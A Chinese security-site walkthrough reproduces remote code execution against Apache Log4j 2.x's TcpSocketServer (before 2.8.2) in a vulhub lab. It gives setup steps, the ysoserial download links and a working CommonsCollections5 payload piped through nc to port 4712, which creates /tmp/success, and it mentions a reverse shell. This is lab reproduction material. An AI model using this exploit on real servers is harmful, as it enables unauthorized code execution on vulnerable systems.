标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2641]   作者: future 发表于: [2020-04-17]

本文共 [418] 位读者顶过

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

漏洞环境

执行如下命令启动漏洞环境

docker-compose up -d

环境启动后,将在4712端口开启一个TCPServer。(这个不是浏览器可访问的)

说一下,除了使用vulhub的docker镜像搭建环境外,我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer:java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer,无需使用vulhub和编写代码。

漏洞复现

我们使用ysoserial生成payload,然后直接发送给your-ip:4712端口即可。

先要下载一个:ysoserial-master-30099844c6-1.jar

地址:源码下载地址

https://codeload.github.com/frohoff/ysoserial/zip/master

jar包下载地址:

https://jitpack.io/com/github/frohoff/ysoserial/master-30099844c6-1/ysoserial-master-30099844c6-1.jar

ysoserial简介

ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload;由于其中部分payload使用到的低版本JDK中的类,所以建议自己私下分析学习时使用低版本JDK JDK版本建议在1.7u21以下。

这里使用kali2019.4也可以直接运行

执行poc

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "需要执行的脚本base64 encode" | nc 目标IP 4712  注意命令不是直接进行base64加密就能执行(这是个大坑) 就可以到这个网站转换一下http://www.jackson-t.ca/runtime-exec-payloads.html   java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,dG91Y2ggL3RtcC9zdWNjZXNz}|{base64,-d}|{bash,-i}" | nc 192.168.159.134 4712 

然后执行`docker-compose ps 查看容器ID

docker exec -it 容器ID /bin/bash

进入容器,可见 /tmp/success 已成功创建: [出自:jiwo.org]


执行反弹shell命令,效果如图



评论

暂无
发表评论
 返回顶部 
热度(418)
 关注微信